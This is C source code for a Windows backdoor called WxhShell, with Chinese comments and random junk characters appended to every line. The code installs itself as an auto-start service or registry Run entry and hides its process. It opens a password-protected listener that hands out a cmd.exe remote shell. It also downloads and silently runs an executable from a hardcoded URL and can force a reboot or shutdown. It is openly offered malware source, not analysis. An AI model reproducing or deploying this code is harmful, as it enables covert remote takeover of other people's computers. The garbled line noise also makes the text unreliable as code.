    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Bz0MUbrLl  
    if(Boot(SHUTDOWN)) MIq"Wy|Zs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y4@gGC=  
    else { x4m 5JDC  
    closesocket(wsh); kneuV8+(5  
    ExitThread(0); o#>a 5  
    } 9#7J:PfZ<  
    break; 6;o3sf@Tf  
    } X\Y}oa."A  
  // 获取shell y ,E.SB  
  case 's': { P7:d ly[,q  
    CmdShell(wsh); Fj1NN  
    closesocket(wsh); TBCp L]QT  
    ExitThread(0); ExVDkt0  
    break; h[kU<mU"T  
  } A`[@ 8  
  // 退出 VWx]1\  
  case 'x': { gl{B=NN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $7Z)Yp&T  
    CloseIt(wsh); n[,XU|2  
    break; +m)q%I>  
    } 1@>$ Gcc  
  // 离开 Ooc\1lX  
  case 'q': { ve Tx, \6@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :@eHX&  
    closesocket(wsh); c6&Q^p|CF  
    WSACleanup(); _Mk7U@j+9  
    exit(1); X^s2BW  
    break; IXpc,l `  
        } AiP!hw/V$  
  } ;W]\rft[  
  } ml6u1+v5  
/@"Y^  
  // 提示信息 Dnw|%6Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pTJX""C  
} ",yc0 2<  
  } t$J.+}}I  
O hVs#^  
  return; nhT-Ido  
} jQ\zGJ3  
"ZrOrdlg+A  
// shell模块句柄 t)f-mQz)  
int CmdShell(SOCKET sock) k&/OU:7Y  
{ s58 C2  
STARTUPINFO si; &@% $2O.3  
ZeroMemory(&si,sizeof(si)); h6~$/`&]b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cPDQ1qre!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cxIk<&i~(  
PROCESS_INFORMATION ProcessInfo; ]bZ(HC?KZr  
char cmdline[]="cmd"; PPkx4S_>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W,XTF  
  return 0; >w+HHs/$wK  
} zZ=pP5y8  
ZfrVjUB  
// 自身启动模式 X5LBEOG  
int StartFromService(void) #|[ M?3  
{ _ :Ag?2  
typedef struct QnQOm ""  
{ }e2VY  
  DWORD ExitStatus; nKa$1RMO  
  DWORD PebBaseAddress; ^D%FX!$  
  DWORD AffinityMask; 9KWuN:Sg  
  DWORD BasePriority; eI45PMP  
  ULONG UniqueProcessId; AN!s{7V3  
  ULONG InheritedFromUniqueProcessId; 21hv%CF\9  
}   PROCESS_BASIC_INFORMATION; \K`L3*cBKK  
>/[GTqi  
PROCNTQSIP NtQueryInformationProcess; SZaS;hhhHu  
?POUtRN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Cpd9|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g0R~&AN!g  
h/?l4iR*  
  HANDLE             hProcess; wE+${B03  
  PROCESS_BASIC_INFORMATION pbi; '3zc|eJt&  
)nL`H^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ry9T U  
  if(NULL == hInst ) return 0; #@<9S{F  
V"c 6Kdtd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fhL,aCS=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C8 \5A8c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dXF^(y]l  
F~ h7{@\  
  if (!NtQueryInformationProcess) return 0; X}+>!%W!}  
o2<#s)GpY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wgCa58H76  
  if(!hProcess) return 0; 0lhVqy}:}o  
"g$IP9?U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sI{ M  
^fZ&QK  
  CloseHandle(hProcess); ` ,SiA-3*  
w!fE;H8w6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZYC<Wb)I  
if(hProcess==NULL) return 0; 8F._9U-EN  
;q*e=[_DF  
HMODULE hMod; Y1]n^  
char procName[255]; 6i1LjLB  
unsigned long cbNeeded; O)[1x4U  
|`.([2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iyg*Xbmi~.  
w@{=nD4p  
  CloseHandle(hProcess); yU9DSY\m{  
BocSwf;v.  
if(strstr(procName,"services")) return 1; // 以服务启动 _H5o'>=  
Y'8?.a]'  
  return 0; // 注册表启动 :Of^xj>A  
} 3f,hw5R  
q^Y-}=w  
// 主模块 oz,e/v8~  
int StartWxhshell(LPSTR lpCmdLine) #w' kV#  
{ b:TLV`>/&  
  SOCKET wsl; PpAu!2lt9  
BOOL val=TRUE; `hQ5VJo  
  int port=0; NfjE`  
  struct sockaddr_in door; v_DedVhe  
|&zz,+E  
  if(wscfg.ws_autoins) Install(); d>mo~  
]?!mS[X  
port=atoi(lpCmdLine); =w{Z@S(ukz  
5fd]v<  
if(port<=0) port=wscfg.ws_port; =,6z4" )  
'F9jq  
  WSADATA data; ;EP:o%r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <nT +$  
pC@{DW;V6R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    2*^j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZzJ?L4J5v  
  door.sin_family = AF_INET; q1d}{DU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )QU  
  door.sin_port = htons(port); `T5W}p[6  
#ML%ij 1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~E2KZm  
closesocket(wsl); %D\[*  
return 1; H[U!%Z  
} T?ZRiR)@  
:&V h?  
  if(listen(wsl,2) == INVALID_SOCKET) { *V8<:OG|e  
closesocket(wsl); 4R1<nZ"e~  
return 1; l 3ko?k  
} S.-TOE  
  Wxhshell(wsl); 42$VhdG  
  WSACleanup(); kuszb~`zPY  
BBwy,\o#  
return 0; TJ6*t!'*X  
i@"@9n~  
} ~j}cyHg  
Z`ID+  
// 以NT服务方式启动 z[L8$7L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aBNc(?ri  
{ Nfrw0b  
DWORD   status = 0; $P^q!H4D  
  DWORD   specificError = 0xfffffff; FWrX3i  
6xTuNE1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9PXFRxGA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R3gdLa.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `{3<{wgw  
  serviceStatus.dwWin32ExitCode     = 0; I9_RlAd  
  serviceStatus.dwServiceSpecificExitCode = 0; 5q3JI  
  serviceStatus.dwCheckPoint       = 0; ls\WXCH  
  serviceStatus.dwWaitHint       = 0; tkeoNuAM  
I_} SB|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qkDI](4  
  if (hServiceStatusHandle==0) return; [%y';`( x  
%*A0# F  
status = GetLastError(); y\4L{GlBM  
  if (status!=NO_ERROR) ;=)k<6  
{ =_JjmTy;a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %g{X?  
    serviceStatus.dwCheckPoint       = 0; ]!?;@$wx  
    serviceStatus.dwWaitHint       = 0; ,w<S|#W~+  
    serviceStatus.dwWin32ExitCode     = status; bh,[ 3X%  
    serviceStatus.dwServiceSpecificExitCode = specificError; !;q&NHco  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DE}K~}sbd  
    return; HVR /7&g  
  } sBj(Qd  
X`kk]8 =  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LO9=xGj.  
  serviceStatus.dwCheckPoint       = 0; eenH0Ovv  
  serviceStatus.dwWaitHint       = 0; KKj a/p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ra)3+M!x  
} UOv+T8f=  
X9v.1s,  
// 处理NT服务事件,比如:启动、停止 :C(=&g<]D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >*~L28Fyn  
{ Vz~{UHH6  
switch(fdwControl) QO<jI#  
{ M'7f O3&|  
case SERVICE_CONTROL_STOP: g1/:Q%R,  
  serviceStatus.dwWin32ExitCode = 0; d[@X%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1F5XvQl  
  serviceStatus.dwCheckPoint   = 0; }"nItcp.1  
  serviceStatus.dwWaitHint     = 0; CM/H9Kz.  
  { h]IxXP?h[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nsu@h  
  } B nFwlw  
  return; ]R+mKUZ9  
case SERVICE_CONTROL_PAUSE: 27eooY1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F+YZE[h%  
  break; "0"nw 2g?  
case SERVICE_CONTROL_CONTINUE: $t$ShT)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xgwY@'GN  
  break; Go5J%&E9  
case SERVICE_CONTROL_INTERROGATE: Q- cFtu-w  
  break; %f&/E"M  
}; -o ^7r@6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (!ux+K  
} \r/rBa\  
~Otq %MQ  
// 标准应用程序主函数 [;n9:Qxf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2,DXc30I  
{ k KaE=H-x  
hE-h`'ha`  
// 获取操作系统版本 qmkAg }2  
OsIsNt=GetOsVer(); EuZ<quwWg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vLv@&lMW  
S3q&rqarC%  
  // 从命令行安装 T:27r8"Rh  
  if(strpbrk(lpCmdLine,"iI")) Install(); T;Lkaxsn  
\{Y 7FC~  
  // 下载执行文件 I:=S 0&%)  
if(wscfg.ws_downexe) { }5ret  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9 &$y}Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); tIWmp30S  
} 0\X\izQ5  
!O\82d1P  
if(!OsIsNt) { J4k=A7^N  
// 如果时win9x,隐藏进程并且设置为注册表启动 DBo%fYst  
HideProc(); \Z?9{J  
StartWxhshell(lpCmdLine); >@U*~Nz  
} eQ$Y0qH1E  
else y`L>wq,KU  
  if(StartFromService()) T`9lV2x*P  
  // 以服务方式启动 ]3D0R;  
  StartServiceCtrlDispatcher(DispatchTable); {0L1X6eg  
else qEyyT[:  
  // 普通方式启动 T(#J_Y  
  StartWxhshell(lpCmdLine); R"-mKT}  
F8nYV  
return 0; $[Sc0dzJ  
} xipU8'ac/  
&xU[E!2H%  
&yct!YOB2  
*^\Ef4Lh  
=========================================== DF&(8NoX~  
iJ ($YvF4  
=-0/k;^  
Q0)#8Rcm  
\S"isz  
{dhXIs  
" Yz'K]M_Dq  
|.(dq^  
#include <stdio.h> '3R`lv   
#include <string.h> ;nI] !g:  
#include <windows.h> 1gE [v  
#include <winsock2.h> ^a/gBC82x  
#include <winsvc.h> e|g5=2(Pr&  
#include <urlmon.h> s%vis{2  
%2}-2}[>  
#pragma comment (lib, "Ws2_32.lib") C1V|0h u  
#pragma comment (lib, "urlmon.lib") ^3G{|JB!+  
.H escg/S  
#define MAX_USER   100 // 最大客户端连接数 5^}\4.eXo  
#define BUF_SOCK   200 // sock buffer /{EP*,/*  
#define KEY_BUFF   255 // 输入 buffer E7WK (  
*2ZjE!A  
#define REBOOT     0   // 重启 %Si6]3-^@  
#define SHUTDOWN   1   // 关机 1m'k|Ka  
+xRK5+}9  
#define DEF_PORT   5000 // 监听端口 1;JEc9# h  
@T@< _ ?)  
#define REG_LEN     16   // 注册表键长度 J9..P&c\  
#define SVC_LEN     80   // NT服务名长度 0B[="rTS7#  
?3/qz(bM  
// 从dll定义API ]N/=Dd+|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bc7/V#W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >d(~# Z`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3>3Kwc~E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bpOYHc6,*`  
kAKK bmE  
// wxhshell配置信息 }cM}Oavh  
struct WSCFG { kT|dUw9G  
  int ws_port;         // 监听端口 ;RH;OE,A  
  char ws_passstr[REG_LEN]; // 口令 ?'IP4z;y  
  int ws_autoins;       // 安装标记, 1=yes 0=no R$EW4]j  
  char ws_regname[REG_LEN]; // 注册表键名 4%{,] q\p  
  char ws_svcname[REG_LEN]; // 服务名 O 5!7'RZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >|J`s~?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &]Q@7Nl7:l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4aug{}h("  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?(xnSW@r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R%Hi+#/dr-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :Oy%a'w   
Zj_b>O-V  
}; "N;`1ce  
MO[2~`,Q!  
// default Wxhshell configuration WEAT01  
struct WSCFG wscfg={DEF_PORT, )"qa kT  
    "xuhuanlingzhe", [.K1i ZyTi  
    1, NxfOF  
    "Wxhshell", 8aZ=?_gvT  
    "Wxhshell", } F E>|1  
            "WxhShell Service", 3W V"U  
    "Wrsky Windows CmdShell Service", x-XD.qh7Hr  
    "Please Input Your Password: ", 5b5x!do  
  1, "WlZ)wyF%  
  "http://www.wrsky.com/wxhshell.exe", fAF1"4f  
  "Wxhshell.exe" f}6s Q5  
    }; p}&#jE  
B)$| vK=  
// 消息定义模块 /Jta^Bj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |U~<3.:m:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .GbX]?dN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }pDqe;a{  
char *msg_ws_ext="\n\rExit."; 'Jiw@t<o3`  
char *msg_ws_end="\n\rQuit."; 0*VWzH   
char *msg_ws_boot="\n\rReboot..."; 1f%1*L0>@  
char *msg_ws_poff="\n\rShutdown..."; uOKCAqYa  
char *msg_ws_down="\n\rSave to "; 3s5z UT;  
$yN{-T"  
char *msg_ws_err="\n\rErr!"; 9K.Vb1&  
char *msg_ws_ok="\n\rOK!"; [v7F1@6b  
G, 44va  
char ExeFile[MAX_PATH]; j~"Q3P;V  
int nUser = 0; R$v[!A+:'  
HANDLE handles[MAX_USER]; Q}`0W[a ~  
int OsIsNt; dW_KU}  
\@Ts+7%  
SERVICE_STATUS       serviceStatus; <qtr   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B#exHf8  
y?rPlA_  
// 函数声明 u6?Q3 bvI  
int Install(void); 'g6\CZw(#  
int Uninstall(void); QFE:tBHe  
int DownloadFile(char *sURL, SOCKET wsh); i=ea ?eT`  
int Boot(int flag); YA''2Ii  
void HideProc(void); O $LfuL  
int GetOsVer(void); iyA'#bE-  
int Wxhshell(SOCKET wsl); >i_ 2OV  
void TalkWithClient(void *cs); oNr-Q& C,  
int CmdShell(SOCKET sock); P !AEf#1  
int StartFromService(void); grS:j+_M2m  
int StartWxhshell(LPSTR lpCmdLine); W~6EEyD%  
WeJl4wF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O80<Z#%j`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;}7Rjl#  
56}U8X  
// 数据结构和表定义 ,f<?;z  
SERVICE_TABLE_ENTRY DispatchTable[] = FI[A[*fi  
{ 2I%MAb&1@  
{wscfg.ws_svcname, NTServiceMain}, _?<|{O  
{NULL, NULL} [6pD  
}; yGI;ye'U  
46$._h P  
// 自我安装 XO`0>^g  
int Install(void) 2n3W=dF  
{ B,<da1(a  
  char svExeFile[MAX_PATH]; ]|!OP  
  HKEY key; 4h~iPn'Wl  
  strcpy(svExeFile,ExeFile); zxMX Xm;  
QU4h8}$  
// 如果是win9x系统,修改注册表设为自启动 .+qQYDE w  
if(!OsIsNt) { ;P;-}u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (XeE2l2M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3) 8QS  
  RegCloseKey(key); ,3?Q(=j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T3~k>"W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .}&` TU  
  RegCloseKey(key); ^]7}YF2|  
  return 0; !5.8]v  
    } &wi e]  
  } Y ?S!8-z  
} `q?8A3A  
else { |s'Po^Sy  
XDsx3Ws  
// 如果是NT以上系统,安装为系统服务 oT^{b\XN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jzj1w}?H  
if (schSCManager!=0) }&/o'w2wY  
{ C3*gn}[  
  SC_HANDLE schService = CreateService &7<TAo;O  
  ( `)` n(B  
  schSCManager, mX_a^_[G  
  wscfg.ws_svcname, os,* 3WO  
  wscfg.ws_svcdisp, \!>3SKs(e  
  SERVICE_ALL_ACCESS, ^X0P'l &D2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4NGA/ G  
  SERVICE_AUTO_START, QFw  +cy  
  SERVICE_ERROR_NORMAL, OTy.VT|  
  svExeFile, [ p{#XwN  
  NULL, X<i^qoV  
  NULL, QOjqQfmM;  
  NULL, ^=T$&gD  
  NULL, DSC$i|  
  NULL 8JM&(Q%#  
  ); F5?m6`g?  
  if (schService!=0) E^QlJ8  
  { t?q@H8  
  CloseServiceHandle(schService); 1KMLG=  
  CloseServiceHandle(schSCManager); 21 O'M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q o?O:  
  strcat(svExeFile,wscfg.ws_svcname); kgnmGuka  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M*z~gOZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e}Cif2#d~  
  RegCloseKey(key); FuVnk~gq  
  return 0; >SML"+>  
    } Zw*v  
  } AmaT0tzJC  
  CloseServiceHandle(schSCManager); n1~o1  
} {XNREjhm  
} gg[WlRQK4A  
:|_'fNd+!  
return 1; "5-^l.CKH  
} XM1WfjE\  
]%|GmtqZs,  
// 自我卸载 ]vgB4~4#LP  
int Uninstall(void) [ JpKSTg[  
{ S/^"@?z,vE  
  HKEY key; (IC]?n}  
$UgA0]q n  
if(!OsIsNt) { GqWB{$J;"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BnCbon)  
  RegDeleteValue(key,wscfg.ws_regname); FO!]P   
  RegCloseKey(key); KMU4n-s"o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oX0D  
  RegDeleteValue(key,wscfg.ws_regname); 0(mkeIzJt/  
  RegCloseKey(key); E0u~i59Z  
  return 0; CACTE  
  } )Z(TCJ~~!  
} 9:,V5n=  
} Cz 72?[6  
else { &$]v h  
an|x$e7|?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wW#}:59}  
if (schSCManager!=0) %1O;fQL  
{ Rniq(FA x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {.QEc0-  
  if (schService!=0) /G5d|P  
  { Q.]}]QE   
  if(DeleteService(schService)!=0) { D&}3$ 7>  
  CloseServiceHandle(schService); UG)8D5  
  CloseServiceHandle(schSCManager); *tgnYa[l  
  return 0; 3E>frR\!I  
  } /RHo1  
  CloseServiceHandle(schService); 7 qj9&bEy  
  } ix(=3 /Dgz  
  CloseServiceHandle(schSCManager); fRtUvC-#H  
} ZJwrLV  
} .2>p3|F  
+RnkJ* l  
return 1; %kB8'a3  
} NR -!VJQ  
7N:Y?Hi\  
// 从指定url下载文件 q~3,yyu  
int DownloadFile(char *sURL, SOCKET wsh) Md0 s K  
{ *d"DA[(  
  HRESULT hr; xKQ+{"?-^g  
char seps[]= "/"; Hm$=h>rY9[  
char *token; (N&lHLy  
char *file; :{IO=^D=$  
char myURL[MAX_PATH]; hRty [  
char myFILE[MAX_PATH]; Dh5X/y  
p;W.lcO`0  
strcpy(myURL,sURL); `FsH}UPu b  
  token=strtok(myURL,seps); d4nH_?  
  while(token!=NULL) Iz ;G*W18  
  { q|8{@EMT  
    file=token; -5T=:2M  
  token=strtok(NULL,seps); )hk   
  } B<~ NS)w  
Q8 DQlqHm  
GetCurrentDirectory(MAX_PATH,myFILE); ,4ei2`wV  
strcat(myFILE, "\\"); nWMmna.5  
strcat(myFILE, file); ( YQWbOk  
  send(wsh,myFILE,strlen(myFILE),0); (rkU)Q  
send(wsh,"...",3,0); " t7M3i_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >2]JXLq  
  if(hr==S_OK) mZx&Xez_G  
return 0; mExVYp h  
else ^_ kJKM,  
return 1; RB+N IoQQ|  
lKlU-4  
} T'LIrf  
$ZNu+tn Y  
// 系统电源模块 TpHfS]W-P  
int Boot(int flag) [+OnV&  
{ z,VD=Hnz  
  HANDLE hToken; %/YcL6o(  
  TOKEN_PRIVILEGES tkp; |]aE<`D  
^`G`phd$  
  if(OsIsNt) { rtL}W__  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ] Puy!Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k%E2n:|*  
    tkp.PrivilegeCount = 1; j S]><rm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b*FC\ :\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vo7dAHHL  
if(flag==REBOOT) { !w H'b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fm^@i;D  
  return 0; r" K':O6y  
} !YP@m~  
else { 0 s 70r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aM{xdTYaU  
  return 0; v$=QA:!U  
} ZvUC I8  
  } Zr-U&9.`  
  else { i,|0@Vy  
if(flag==REBOOT) { gl]E_%tH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +Y V|ij  
  return 0;  y2+p1  
} =b[_@zq]  
else { 2CzaL,je[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1]}#)-  
  return 0; efD)S92  
} P<Zh XN'  
} Nr0 (E   
CT\;xt,S  
return 1; 4&HXkRs:  
} Q//,4>JKf  
'*Almv{  
// win9x进程隐藏模块 j+^oz'q  
void HideProc(void) $-&BB(-{E&  
{ I(S)n+E  
>+mD$:L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jn: NYJv  
  if ( hKernel != NULL ) u-1;'a  
  { 8v7 1e>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JMCW}bA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1pCieTz!PN  
    FreeLibrary(hKernel);  iL= m{  
  } gaf$uT2  
rS0DSGDq  
return; NO] 3*  
} 4HAp{a1  
7t?*  
// 获取操作系统版本 <jS~ WI@  
int GetOsVer(void) i%{3W:!4t  
{ $O{duJU  
  OSVERSIONINFO winfo; q\rC5gk >  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lw'9  
  GetVersionEx(&winfo); \j2;4O?`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cD4 kC>P*  
  return 1; QW_agm  
  else Bk}><H  
  return 0; {T'GQz+R"  
} ;Efcw[<  
cV-1?h63  
// 客户端句柄模块 %Rh;=p`  
int Wxhshell(SOCKET wsl) -B$~`2-  
{ ?k[p<Uo  
  SOCKET wsh; F/1#l@qN  
  struct sockaddr_in client; 1 ^g t1o  
  DWORD myID; 4gSH(*}  
7DKz;o  
  while(nUser<MAX_USER) muW!xY  
{ +uWYK9  
  int nSize=sizeof(client); |BZDhd9<{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "7d-z<^n  
  if(wsh==INVALID_SOCKET) return 1; #&8}<8V  
dV?5Q_}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |KYEK|  
if(handles[nUser]==0) O|cu.u|  
  closesocket(wsh); U Q@7n1  
else )U:2z-X&e  
  nUser++; >\<*4J$PZ  
  } QMo}W{D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N:VX!w  
mqfO4"lt  
  return 0; r$wZt  
} mgZf3?,)  
O;[9_[  
// 关闭 socket 'z=:[#b  
void CloseIt(SOCKET wsh) ]+DI.%   
{ Wk4.%tpeO7  
closesocket(wsh); l_/C65%.:  
nUser--; :RxHw;!  
ExitThread(0); 5wC* ?>/  
} rAQF9O[  
W</n=D<,I  
// 客户端请求句柄 $\a5&1rl  
void TalkWithClient(void *cs) ^4v*W;Q  
{ Q}A=jew  
^] p  
  SOCKET wsh=(SOCKET)cs; K,xW6DiH  
  char pwd[SVC_LEN]; ]r]k-GZ$  
  char cmd[KEY_BUFF]; FrTg4  
char chr[1]; -qV{WZHp  
int i,j; %1McD{  
&B{8uge1  
  while (nUser < MAX_USER) { Ja^ 5?Ar|  
*j)M]  
if(wscfg.ws_passstr) {  ZC^C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mjnUs-`W|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8_\W/I!7b  
  //ZeroMemory(pwd,KEY_BUFF); T9y;OG  
      i=0; (d2@Mz  
  while(i<SVC_LEN) { eo#^L}  
{GqXP0'  
  // 设置超时 = Rc"^oS  
  fd_set FdRead; :_dICxaLZT  
  struct timeval TimeOut; GSVdb/+  
  FD_ZERO(&FdRead); #'o7x'n^  
  FD_SET(wsh,&FdRead); &w~Xa( uu  
  TimeOut.tv_sec=8; U_z2J(e~  
  TimeOut.tv_usec=0; M7y|EB))  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q@#BPu"\l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J0<p4%Cf  
T.?k>A k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K!8zwb=fq  
  pwd=chr[0]; Bmr<O !  
  if(chr[0]==0xd || chr[0]==0xa) { +/'<z  
  pwd=0; '?/&n8J\  
  break; m^Lj+=Z"  
  } }#N]0I)JI  
  i++; <4?*$  
    } I^0 t2[M  
L=1 ~ f-  
  // 如果是非法用户,关闭 socket 8cr NOZS6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F$6? t.@J  
} 2)LX^?7R  
2>y:N.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |+EKF.K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6&!l'[hU  
P1d,8~;  
while(1) { ;~tsF.=  
7!d$M{0"  
  ZeroMemory(cmd,KEY_BUFF); ?eWJa  
[yd6gH  
      // 自动支持客户端 telnet标准   hLA;Bl  
  j=0; ^8742.  
  while(j<KEY_BUFF) { VO9f~>`(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i,OKf Xp  
  cmd[j]=chr[0]; XJFnih  
  if(chr[0]==0xa || chr[0]==0xd) { _g6wQdxT  
  cmd[j]=0; F.KrZ3%4iB  
  break; k:0P+d  
  } NWISS  
  j++; 'Oy5e@G+?  
    } 0eA5zFU7  
<d! 6[,W;  
  // 下载文件 X% J%A-k]  
  if(strstr(cmd,"http://")) { 3}4#I_<$F@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t,Q'S`eTU  
  if(DownloadFile(cmd,wsh)) ?'+8[OHiF^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |BJqy/  
  else  ^@q#$/z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N9*UMVU  
  } J{H?xc o  
